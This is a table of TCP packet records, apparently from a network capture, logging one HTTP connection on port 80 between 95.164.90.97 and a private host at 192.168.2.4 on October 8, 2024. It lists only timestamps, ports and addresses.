Oct 8, 2024 02:45:23.573308945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573318958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573328018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573333025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.573338032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573347092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.573348045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573359013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573375940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.573386908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.574199915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574212074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574218988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574229002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574238062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574248075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574256897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574266911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574280977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.574332952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.574938059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574948072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574956894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574965954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574975967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574986935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574995995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.574997902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.575006962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.575016975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.575023890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.575027943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.575037956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.575043917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.575063944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.575074911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.586983919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587049007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587055922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.587059021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587094069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.587230921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587241888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587249994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587259054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587279081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.587295055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.587570906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.587620020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.588140965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588191032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.588218927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588227034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588264942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.588382959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588393927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588402987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588413000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588433981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.588452101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.588733912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.588781118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.589015961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589061975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.589083910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589092970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589131117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.589281082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589292049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589333057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.589499950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589509964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.589550018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.636090040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636101007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636110067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636157036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.636182070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.636217117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636233091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636243105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636253119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636266947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.636293888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.636620998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.636668921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657236099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657304049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657315969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657329082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657366991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657565117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657576084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657630920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657808065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657819986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657836914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657847881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657860994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657872915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.657872915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657938004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.657938004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.658293962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658307076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658317089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658354998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.658379078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.658732891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658742905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658752918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658765078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658776045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658787012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.658787966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.658818007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.658828974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.659145117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659156084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659167051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659178019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659188032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659195900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.659200907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659213066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659224033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659233093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.659236908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.659248114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.659267902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.659303904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.660126925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660139084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660149097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660160065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660170078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660180092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660186052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.660192013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660202980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660211086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.660214901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660227060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.660233021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.660253048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.660267115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.661006927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661019087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661027908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661039114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661048889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661058903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661061049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.661071062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661082029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661089897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.661092043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.661111116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.661133051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662084103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662096024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662106991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662118912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662128925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662141085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662141085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662151098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662156105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662163973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662174940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662184000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662198067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662225962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662781954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662795067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662803888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662815094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662825108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662836075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662836075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662847042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662854910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662858963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662873030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.662878036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662897110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.662914991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.663680077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663691998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663702011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663712025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663722038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663733006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663737059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.663748980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663760900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.663762093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663774014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.663775921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.663808107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.663832903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.664434910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664447069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664457083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664468050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664479017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664489985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.664489985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664501905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664514065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664516926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.664526939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.664537907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.664556980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.664586067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.678294897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678392887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.678422928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678433895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678445101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678514957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.678611040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678621054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678630114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678713083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.678807974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.678914070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.679604053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.679652929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.679747105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.679757118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.679797888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680023909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680069923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680181026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680191994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680200100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680210114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680234909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680262089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680470943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680480957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680490017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680521965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680533886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680608988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680619001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680660963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.680742979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680754900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.680794001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.681042910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.681092024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.726672888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726733923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726742029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726804972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.726871967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726881981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726891041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726901054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.726912022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.726924896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.726949930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.727168083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.727219105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748028994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748090982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748100042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748137951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748147964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748296976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748306990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748316050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748326063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748346090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748368025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748646975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748656034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748665094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748675108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748683929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748693943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.748696089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.748728037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749178886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749187946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749197006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749206066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749216080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749223948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749226093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749238968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749264002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749712944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749722958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749731064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749741077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749749899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749759912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.749761105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749769926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749789000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.749806881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750463963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750473976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750482082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750492096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750499964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750509024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750513077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750519991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750528097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750529051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750540972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750547886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750550985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.750560045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750577927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.750597000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.751477957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751487970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751497030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751506090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751514912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751523972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751533031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751534939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.751543045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751553059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751559019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.751564980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.751580000 CEST	51293	80	192.168.2.4	95.164.90.97
